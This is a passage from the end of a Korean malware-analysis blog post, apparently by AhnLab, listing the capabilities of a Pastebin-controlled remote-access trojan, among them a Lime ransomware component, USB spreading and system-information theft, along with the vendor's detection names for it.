    • Lime 랜섬웨어, 랜섬웨어 지갑 주소는 위 지갑 주소와 동일
    • USB 자체 전파
    • 각종 안티 분석
    • 토렌트 프로그램의 시드 - uTorrent.exe, BitTorrent.exe
    • 시스템 제어 – 전원, 작업관리자, 장치 제어
    • 시스템 정보 탈취

    현재 안랩 제품에서는 Pastebin을 이용한 원격제어 유형의 악성코드를 다음 이름으로 진단하고 있다.
    • 파일 진단: Trojan/Win32.Executor (2018.03.24.08)
    • 행위 진단: Malware/MDP.Create


    Posted by 분석팀